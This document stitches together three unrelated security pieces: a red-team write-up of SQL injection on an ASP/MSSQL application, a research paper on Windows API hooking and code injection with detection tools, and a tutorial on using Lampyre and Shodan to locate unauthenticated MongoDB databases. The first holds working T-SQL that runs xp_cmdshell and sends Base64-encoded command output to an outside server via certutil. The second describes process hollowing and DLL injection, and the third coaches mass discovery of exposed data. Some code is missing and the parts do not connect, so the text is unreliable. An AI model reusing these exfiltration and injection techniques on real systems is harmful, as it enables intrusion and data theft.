In a Red Team operation, a perimeter asset vulnerable to SQL Injection was identified. Through this vulnerability it was possible to execute commands on the server, requiring an unusual tactic to achieve the exfiltration of the output of the commands. In this article we will explain the approach that was followed to successfully compromise this first perimeter element that was later used to pivot the internal network.
0x01 – Stacked queries
The starting environment is an ASP application that uses a Microsoft SQL Server as its database engine.
The vulnerability is quickly located because, when inserting a simple quotation mark, an ODBC Driver error is displayed on the page indicating that the closing quotation mark is missing. After several failed attempts to form a valid query or SQL expression (e.g. concatenation with the”+” operator), the option of the injection point being a parameter in a stored procedure call is considered. To confirm this, new parameters are introduced by injecting a comma, which effectively causes an error due to an excess of arguments.
Error caused by the passage of too many arguments
As the documentation specifies, the parameters passed to a stored procedure must be constants or variables, so typical union-based or blind techniques cannot be applied. The alternative: the use of stacked queries, supported by default in ASP environments with SQL Server.
Stacked queries consist of the execution of two or more SQL queries in the same transaction, separated by the semicolon character. In this way, it is possible to dump information from the database using time-based techniques:
In this case, the web application does not handle critical information or users with greater privileges, so the Red Team proceeds to investigate new ways, such as the execution of commands.
In MSSQL, there is a procedure called xp_cmdshell that receives a command from Windows, executes it and returns the result as rows of text. The problem in a scenario like this is that the output will never be returned to the user, since the injection no longer occurs in the original query. Therefore, to check that the commands are executed correctly, a by-default Windows utility is used: certutil.exe.
This command, whose original utility is the management of certificates, can be very useful in a Red Team exercise for many reasons:
It is by-default Windows binary signed by Microsoft.
Allows to make HTTP/s connections and is proxy-aware (uses the proxy configured in the system).
Allows to perform Base64 or hex encoding/decoding.
In our scenario, it will be used to make a HTTPs request to a web server controlled by us, so we can confirm that the command was actually executed.
Our server receives a request with User-Agent “CertUtil URL Agent”
Although the most common case is that the user of the application does not have permissions to execute the xp_cmdshell procedure (by default disabled), it has been seen on several occasions that, due to a bad configuration, it does have permissions to enable it. In that case, the following queries could be used:
From here, we’ll see how to exfiltrate the output of any command executed.
0x02 – Data exfiltration
At this point we can execute system commands and make HTTP/s requests to a web server controlled by us. Mixing these two ingredients, it is trivial to exfiltrate information by sending a GET request to https://redteam/[codified_information]. In this case, Base64 is chosen over hexadecimal, because it allows to save more information in fewer characters.
The procedure to achieve it is as follows:
Declare a variable of “table” type to save the output that returns the xp_cmdshell procedure (remember that it returns the result in several rows).
Dump the output of the command to the previous variable.
Concatenate the rows of the table, separated by a line break.
Encode the resulting string in Base64 and save it in a variable.
Generate the certutil command, appending the string with the result.
Execute it.
There is no direct way to perform steps 3 and 4 in T-SQL, but they can be sorted out with two little tricks:
There is no function like group_concat (MySQL), so the FOR XML clause is used to concatenate all the rows. In this way, it is possible to obtain the data in the form of a single string (XML), from which we remove the information of the labels by indicating an empty string in PATH mode:
SELECTcolumn+char(10) as ‘text()’ FROMtableFOR XML path(») — A line break is appended at the end of each row — char(10)
On the other hand, there is also no direct way to convert a string to Base64, but there is an option to represent the binary data in Base64. The solution, then, is to convert the string previously into a binary data type:
SELECT cast(‘tarlogic’ AS varbinary(max)) FOR XML path(»), BINARY BASE64
To perform this encoding there are other alternatives, such as the use of XQuery.
Putting all the steps together in T-SQL, they would look like the following:
set @cmdOutput=(select (select cast((select line+char(10) COLLATE SQL_Latin1_General_CP1253_CI_AI as ‘text()’ from @res for xml path(»)) as varbinary(max))) for xml path(»),binary base64);
set @r=concat(‘certutil -urlcache -f https://redteam/’,@cmdOutput);
exec xp_cmdshell @r;
When reading the table containing the result of the command, the collation has been taken into account, since the compromised server returned information such as letters with accent mark that spoiled the Base64 encoding.
Request log containing the output of the commands in Base64
Also, when decoding Base64, it must be taken into account that, since it’s a Windows environment, the output of the command will be represented in Unicode.
0x03 – Automatization
Once we have the ability to execute and view the output of any command, we proceed to automate the process. To do this, the Red Team developed a tool that offers the user a prompt to enter a command. Then, it generates the payload needed to run it while a web server is deployed in order to receive the result. Finally, it decodes it and displays it on the screen.
We have seen how a perimeter asset that a priori did not handle critical or useful information to carry out an intrusion, has allowed the Red Team to turn it into a stepping stone to pivot to the internal network of the target. For this reason, it is important to consider the need for a hardening process and the creation of alerts for this kind of exfiltration, and not just periodic vulnerability audits.
The following document is a result of self-research of malicious software (malware) and its interaction with the Windows Application Programming Interface (WinAPI). It details the fundamental concepts behind how malware is able to implant malicious payloads into other processes and how it is possible to detect such functionality by monitoring communication with the Windows operating system. The notion of observing calls to the API will also be illustrated by the procedure of hooking certain functions which will be used to achieve the code injection techniques.
Disclaimer: Since this was a relatively accelerated project due to some time constraints, I would like to kindly apologise in advance for any potential misinformation that may be presented and would like to ask that I be notified as soon as possible so that it may revised. On top of this, the accompanying code may be under-developed for practical purposes and have unforseen design flaws.
Introduction
In the present day, malware are developed by cyber-criminals with the intent of compromising machines that may be leveraged to perform activities from which they can profit. For many of these activities, the malware must be able survive out in the wild, in the sense that they must operate covertly with all attempts to avert any attention from the victims of the infected and thwart detection by anti-virus software. Thus, the inception of stealth via code injection was the solution to this problem.
Section I: Fundamental Concepts
Inline Hooking
Inline hooking is the act of detouring the flow of code via hotpatching. Hotpatching is defined as the modification of code during the runtime of an executable image[1]. The purpose of inline hooking is to be able to capture the instance of when the program calls a function and then from there, observation and/or manipulation of the call can be accomplished. Here is a visual representation of how normal execution works:
Normal Execution of a Function Call
| Program | ------ calls function -----> | Function | (execution of function)
versus execution of a hooked function:
This can be separated into three steps. To demonstrate this process, the WinAPI function MessageBox 15 will be used.
Hooking the function
To hook the function, we first require the intermediate function which must replicate parameters of the targetted function. Microsoft Developer Network (MSDN) defines
So the intermediate function may be defined like so:
int WINAPI HookedMessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType) {
// our code in here
}
Once this exists, execution flow has somewhere for the code to be redirected. To actually hook the
MessageBox
function, the first few bytes of the code can be patched (keep in mind that the original bytes must be saved so that the function may be restored for when the intermediate function is finished). Here are the original assembly instructions of the function as represented in its corresponding module
user32.dll
:
; MessageBox
8B FF mov edi, edi
55 push ebp
8B EC mov ebp, esp
versus the hooked function:
; MessageBox
68 xx xx xx xx push <HookedMessageBox> ; our intermediate function
C3 ret
Here I have opted to use the
push-ret
combination instead of an absolute
jmp
due to my past experiences of it not being reliable for reasons to be discovered.
xx xx xx xx
represents the little-endian byte-order address of
HookedMessageBox
.
Capturing the function call
When the program calls
MessageBox
, it will execute the
push-ret
and effectively jump into the
HookedMessageBox
function and once there, it has complete control over the paramaters and the call itself. To replace the text that will be shown on the message box dialog, the following can be defined in
HookedMessageBox
:
int WINAPI HookedMessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType) {
TCHAR szMyText[] = TEXT("This function has been hooked!");
}
szMyText
can be used to replace the
LPCTSTR lpText
parameter of
MessageBox
.
Resuming normal execution
To forward this parameter, execution needs to continue to the original
MessageBox
so that the operating system can display the dialog. Since calling
MessageBox
again will just result in an infinite recursion, the original bytes must be restored (as previously mentioned).
int WINAPI HookedMessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType) {
TCHAR szMyText[] = TEXT("This function has been hooked!");
// restore the original bytes of MessageBox
// ...
// continue to MessageBox with the replaced parameter and return the return value to the program
return MessageBox(hWnd, szMyText, lpCaption, uType);
}
If rejecting the call to
MessageBox
was desired, it is as easy as returning a value, preferrably one that is defined in the documentation. For example, to return the “No” option from a “Yes/No” dialog, the intermediate function can be:
int WINAPI HookedMessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType) {
return IDNO; // IDNO defined as 7
}
API Monitoring
The concept of API monitoring follows on from function hooking. Because gaining control of function calls is possible, observation of all of the parameters is also possible, as previously mentioned hence the name API monitoring. However, there is a small issue which is caused by the availability of different high-level API calls that are unique but operate using the same set of API at a lower level. This is called function wrapping, defined as subroutines whose purpose is to call a secondary subroutine. Returning to the
MessageBox
example, there are two defined functions:
MessageBoxA
for parameters that contain ASCII characters and a
MessageBoxW
for parameters that contain wide characters. In reality, to hook
MessageBox
, it is required that both
MessageBoxA
and
MessageBoxW
be patched. The solution to this problem is to hook at the lowest possible common point of the function call hierarchy.
+---------+
| Program |
+---------+
/ \
| |
+------------+ +------------+
| Function A | | Function B |
+------------+ +------------+
| |
+-------------------------------+
| user32.dll, kernel32.dll, ... |
+-------------------------------+
+---------+ +-------- hook -----------------> |
| API | <---- + +-------------------------------------+
| Monitor | <-----+ | ntdll.dll |
+---------+ | +-------------------------------------+
+-------- hook -----------------> | User mode
-----------------------------------------------------
Kernel mode
which is an appropriate location to hook. For functions that have a deeper hierarchy, hooking any lower could prove to be unecessarily troublesome due to the possibility of an increasing complexity of the function’s parameters.
MessageBoxTimeoutW
is an undocumented WinAPI function and is defined[2] like so:
int WINAPI MessageBoxTimeoutW(
HWND hWnd,
LPCWSTR lpText,
LPCWSTR lpCaption,
UINT uType,
WORD wLanguageId,
DWORD dwMilliseconds
);
To log the usage:
int WINAPI MessageBoxTimeoutW(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType, WORD wLanguageId, DWORD dwMilliseconds) {
std::wofstream logfile; // declare wide stream because of wide parameters
logfile.open(L"log.txt", std::ios::out | std::ios::app);
// pass execution to the normal function and save the return value
int ret = MessageBoxTimeoutW(hWnd, lpText, lpCaption, uType, wLanguageId, dwMilliseconds);
// rehook the function for next calls
// ...
return ret; // return the value of the original function
}
Once the hook has been placed into
MessageBoxTimeoutW
,
MessageBoxA
and
MessageBoxW
should both be captured.
Code Injection Primer
For the purposes of this paper, code injection will be defined as the insertion of executable code into an external process. The possibility of injecting code is a natural result of the functionality allowed by the WinAPI. If certain functions are stringed together, it is possible to access an existing process, write data to it and then execute it remotely under its context. In this section, the relevant techniques of code injection that was covered in the research will be introduced.
DLL Injection
Code can come from a variety of forms, one of which is a Dynamic Link Library (DLL). DLLs are libraries that are designed to offer extended functionality to an executable program which is made available by exporting subroutines. Here is an example DLL that will be used for the remainder of the paper:
extern "C" void __declspec(dllexport) Demo() {
::MessageBox(nullptr, TEXT("This is a demo!"), TEXT("Demo"), MB_OK);
}
When a DLL is loaded into a process and initialised, the loader will call
DllMain
with
fdwReason
set to
DLL_PROCESS_ATTACH
. For this example, when it is loaded into a process, it will thread the
Demo
subroutine to display a message box with the title
Demo
and the text
This is a demo!
. To correctly finish the initialisation of a DLL, it must return
true
or it will be unloaded.
CreateRemoteThread
DLL injection via the CreateRemoteThread 7 function utilises this function to execute a remote thread in the virtual space of another process. As mentioned above, all that is required to execute a DLL is to have it load into the process by forcing it to execute the
LoadLibrary
function. The following code can be used to accomplish this:
It takes a single parameter which is the path name to the desired library to load. The
CreateRemoteThread
function allows one parameter to be passed into the thread routine which matches exactly that of
LoadLibrary
‘s function definition. The goal is to allocate the string parameter in the virtual address space of the target process and then pass that allocated space’s address into the parameter argument of
CreateRemoteThread
so that
LoadLibrary
can be invoked to load the DLL.
Allocating virtual memory in the target process
Using
VirtualAllocEx
allows space to be allocated within a selected process and on success, it will return the starting address of the allocated memory.
Windows offers developers the ability to monitor certain events with the installation of hooks by using the SetWindowsHookEx 6 function. While this function is very common in the monitoring of keystrokes for keylogger functionality, it can also be used to inject DLLs. The following code demonstrates DLL injection into itself:
operates on alertable states. Asynchronous procedures queued by
QueueUserAPC
are only handled when a thread enters this state.
Process Hollowing
Process hollowing, AKA RunPE, is a popular method used to evade anti-virus detection. It allows the injection of entire executable files to be loaded into a target process and executed under its context. Often seen in crypted applications, a file on disk that is compatible with the payload is selected as the host and is created as a process, has its main executable module hollowed out and replaced. This procedure can be broken up into four stages.
Creating a host process
In order for the payload to be injected, the bootstrap must first locate a suitable host. If the payload is a .NET application, the host must also be a .NET application. If the payload is a native executable defined to use the console subsystem, the host must also reflect the same attributes. The same is applied to x86 and x64 programs. Once the host has been chosen, it is created as a suspended process using
For the payload to work correctly after injection, it must be mapped to a virtual address space that matches its
ImageBase
value found in the optional header of the payload’s PE headers.
typedef struct _IMAGE_OPTIONAL_HEADER {
WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint; // <---- this is required later
DWORD BaseOfCode;
DWORD BaseOfData;
DWORD ImageBase; // <----
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage; // <---- size of the PE file as an image
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER, *PIMAGE_OPTIONAL_HEADER;
This is important because it is more than likely that absolute addresses are involved within the code which is entirely dependent on its location in memory. To safely map the executable image, the virtual memory space starting at the described
ImageBase
value must be unmapped. Since many executables share common base addresses (usually
0x400000
), it is not uncommon to see the host process’s own executable image unmapped as a result. This is done with
To convert the PE file to an image, all of the sections must be individually read from their file offsets and then placed correctly into their correct virtual offsets using
WriteProcessMemory
. This is described in each of the sections’ own section header 1.
member must be changed to the virtual address of the payload’s
AddressOfEntryPoint
. Simply,
context.Eax = ImageBase + AddressOfEntryPoint
. To apply the changes to the process’s thread, calling
SetThreadContext
and passing in the modified
CONTEXT
struct is sufficient. All that is required now is to call
ResumeThread
and payload should start execution.
Atom Bombing
The Atom Bombing is a code injection technique that takes advantage of global data storage via Windows’s global atom table. The global atom table’s data is accessible across all processes which is what makes it a viable approach. The data stored in the table is a null-terminated C-string type and is represented with a 16-bit integer key called the atom, similar to that of a map data structure. To add data, MSDN provides a GlobalAddAtom 4 function and is defined as:
ATOM WINAPI GlobalAddAtom(
_In_ LPCTSTR lpString
);
where
lpString
is the data to be stored. The 16-bit integer atom is returned on a successful call. To retrieve the data stored in the global atom table, MSDN provides a GlobalGetAtomName 2 defined as:
UINT WINAPI GlobalGetAtomName(
_In_ ATOM nAtom,
_Out_ LPTSTR lpBuffer,
_In_ int nSize
);
Passing in the identifying atom returned from
GlobalAddAtom
will place the data into
lpBuffer
and return the length of the string excluding the null-terminator.
Atom bombing works by forcing the target process to load and execute code placed within the global atom table and this relies on one other crucial function,
NtQueueApcThread
, which is lowest level userland call for
QueueUserAPC
. The reason why
NtQueueApcThread
is used over
QueueUserAPC
is because, as seen before,
QueueUserAPC
‘s APCProc 1 only receives one parameter which is a parameter mismatch compared to
This is a very simplified overview of atom bombing but should be adequate for the remainder of the paper. For more information on atom bombing, please refer to enSilo’s AtomBombing: Brand New Code Injection for Windows 27.
Section II: UnRunPE
UnRunPE is a proof-of-concept (PoC) tool that was created for the purposes of applying API monitoring theory to practice. It aims to create a chosen executable file as a suspended process into which a DLL will be injected to hook specific functions utilised by the process hollowing technique.
Code Injection Detection
From the code injection primer, the process hollowing method was described with the following WinAPI call chain:
CreateProcess
NtUnmapViewOfSection
VirtualAllocEx
WriteProcessMemory
GetThreadContext
SetThreadContext
ResumeThread
A few of these calls do not have to be in this specific order, for example,
GetThreadContext
can be called before
VirtualAllocEx
. However, the general arrangement cannot deviate much because of the reliance on former API calls, for example,
SetThreadContext
must be called before
GetThreadContext
or
CreateProcess
must be called first otherwise there will be no target process to inject the payload. The tool assumes this as a basis on which it will operate in an attempt to detect a potentially active process hollowing.
Following the theory of API monitoring, it is best to hook the lowest, common point but when it comes it malware, it should ideally be the lowest possible that is accessible. Assuming a worst case scenario, the author may attempt to skip the higher-level WinAPI functions and directly call the lowest function in the call hierarchy, usually found in the
ntdll.dll
module. The following WinAPI functions are the lowest in the call hierarchy for process hollowing:
NtCreateUserProcess
NtUnmapViewOfSection
NtAllocateVirtualMemory
NtWriteVirtualMemory
NtGetContextThread
NtSetContextThread
NtResumeThread
Code Injection Dumping
Once the necessary functions are hooked, the target process is executed and each of the hooked functions’ parameters are logged to keep track of the current progress of the process hollowing and the host process. The most significant hooks are
NtWriteVirtualMemory
and
NtResumeThread
because the former applies the injection of the code and the latter executes it. Along with logging the parameters, UnRunPE will also attempt to dump the bytes written using
NtWriteVirtualMemory
and then when
NtResumeThread
is reached, it will attempt to dump the entire payload that has been injected into the host process. To achieve this, it uses the process and thread handle parameters logged in
NtCreateUserProcess
and the base address and size logged from
NtUnmapViewOfSection
. Using the parameters provided by
NtAllocateVirtualMemory
may be more appropriate however, due to some unknown reasons, hooking that function results in some runtime errors. When the payload has been dumped from
NtResumeThread
, it will terminate the target process and its host process to prevent execution of the injected code.
UnRunPE Demonstration
For the demonstration, I have chosen to use a trojanised binary that I had previously created as an experiment. It consists of the main executable
PEview.exe
and
PuTTY.exe
as the hidden executable.
105
Section III: Dreadnought
Dreadnought is a PoC tool that was built upon UnRunPE to support a wider variety of code injection detection, namely, those listed in Code Injection Primer. To engineer such an application, a few augmentations are required.
Detecting Code Injection Method
Because there are so many methods of code injection, differentiating each technique was a necessity. The first approach to this was to recognise a “trigger” API call, that is, the API call which would peform the remote execution of the payload. Using this would do two things: identify the completion of and, to an extent, the type of the code injection. The type can be categorised into four groups:
Section: Code injected as/into a section
Process: Code injected into a process
Code: Generic code injection or shellcode
DLL: Code injected as DLLs
Process%2BInjection%25281%2529.png1024x768 Process Injection Info Graphic[4] by Karsten Hahn 2
Each trigger API is listed underneath Execute. When either of these APIs have been reached, Dreadought will perform a code dumping method that matches the assumed injection type in a similar fashion to what occurs with process hollowing in UnRunPE. Reliance on this is not enough because there is still potential for API calls to be mixed around to achieve the same functionality as displayed from the stemming of arrows.
Heuristics
For Dreadnought to be able to determine code injection methods more accurately, a heuristic should be involved as an assist. In the development, a very simplistic heuristic was applied. Following the process injection infographic, every time an API was hooked, it would increase the weight of one or more of the associated code injection types stored within a map data structure. As it traces each API call, it will start to favour a certain type. Once the trigger API has been entered, it will identify and compare the weights of the relevant types and proceed with an appropriate action.
Dreadnought Demonstration
Process Injection — Process Hollowing
51
DLL Injection — SetWindowsHookEx
29
DLL Injection — QueueUserAPC
21
Code Injection — Atom Bombing
25
13
15
Conclusion
This paper aimed to bring a technical understanding of code injection and its interaction with the WinAPI. Furthermore, the concept of API monitoring in userland was entertained with the malicious use of injection methods utilised by malware to bypass anti-virus detection. The following presents the current status of Dreadnought as of this writing.
Limitations
Dreadnought’s current heuristic and detection design is incredibly poor but was sufficient enough for theoretical demonstration purposes. Practical use may not be ideal since there is a high possibility that there will be collateral with respect to the hooked API calls during regular operations with the operating system. Because of the impossibility to discern benign from malicious behaviour, false positives and negatives may arise as a result.
With regards to Dreadnought and its operations within userland, it may not be ideal use when dealing with sophisticated malware, especially those which have access to direct interactions with the kernel and those which have the capabilities to evade hooks in general.
Today I’ll be telling you about the tool which combines the advantages of many tools for Cyber Threat Intelligence and Open Source Intelligence Gathering (OSINT) and which allows you to analyze the obtained data in a comfy way. You’ll learn how to easily find databases without any authentication using the Shodan capabilities with the Lampyre tools. Of course, Shodan can also be used for mining other interesting data. For example, you can visualize the location of web cameras on a map, get info on the devices with enabled RDP and take a look at their screenshots and a lot more, but all this — a topic for some other time.
The problems with unsafe default configurations of some databases are no news and are widely discussed on the Web. However, regardless of that, many still don’t pay enough attention.
Latest news on the data leaks of the American Express India and Voxox’s database (running on Amazon’s Elasticsearch) only confirms this. Nobody is protected against human mistakes and sometimes the price of these mistakes is just too high!
MongoDB, Elasticsearch, Cassandra and some other databases do not have authorization enabled by default. This means that anyone in the Internet may not only look into their content and download it but also change the existing data or use it in some fraudulent activities — for example, phishing or encrypting all data and then demanding for bitcoins or any other. The same may happen to some other services, such as FTP for example.
WARNING!! The following information is provided solely in educational purposes and by no means encourages any action against the laws. Please remember that any data fraudulence and unauthorized access is considered a crime. Use this information for research purposes only and please inform the DB owners if you come across their confidential data so that they wouldn’t be involved in any data leak situations.
Yes-yes, sure you can scan all ranges of IP-addresses yourself and have your own VPN-servers to conduct your research. But in order to make it much quicker and easier, it’s enough to just launch a couple of requests in Lampyre with different search parameters, using its imbedded integration with API Shodan.
There are so many of such parameters and today I’ll talk about only two. Let’s assume I want to find any open mongodbs, which were indexed by Shodan last week. Here is a step-by-step of how to do it:
1. Download Lampyre from the lampyre.io website, unpack the archive and install it; 2. Launch the app, spend a couple of minutes to acquire your free license and then create an investigation; 3. In the List of Requests window, choose the Shodan Search request. In the input parameters indicate MongoDB product and set the required time period (November 23–30, for example) Note: this request gives back the results by pages, 100 results per 1 page. In order to get more data right away, input 1–10 into the Page or Range field and you will get 1000 results; 4. Click Execute and — voila! — enjoy scrolling through your 1000 mongoDBs found.
However, these 1000 mongoDBs are not exactly what we really need. Shodan indexes all services working in the open networks. Also it returns info on the structure of databases: list of MongoDB collections, list of available commands and other technical parameters. This data is available in the Data column.
Here is a screenshot of an example:
Some things might have changed since Shodan indexed, so in order to understand if any database may still be accessed at this moment and what its current structure is, you’ll have to perform one more request. Guess which one? — Ta-dah! Right, Explore DB: MongoDB. What does it do? In real time and through a chain of VPN-servers this request tries to connect to the found MongoDBs by IP-addresses, which act as the input parameters.
So to make it more comfortable for me to perform this request and visualize the results in a convenient way, I will transfer the info on the Shodan Mongo DBs to a schema and select all their obtained IP-addresses in the Content window, right-click any of them (to use them as input parameters) and choose the Explore DB request in the context menu.
As a result, if there is no authorization set in the DB, you’ll get its current structure, list of collections with the quantity and names of the documents in them.
What to do with this data? Everyone decides for himself…
Similar research can be performed in Lampyre also for Elasticsearch and FTP. There will be more requests available soon. Stay tuned!
And by the way, nothing stops you from working with 1000 or even 10000 IP-addresses as input parameters, but this is the matter to talk about in our next posts.
A short video on the topic of this article is available on our youtube channelwhere you can also find some other tutorials on Cyber Threat intelligence. If you go to the channel after reading this article please feel free to comment on the video. If you have any ideas on using Lampyre for Cyber Security you can also Tweet us.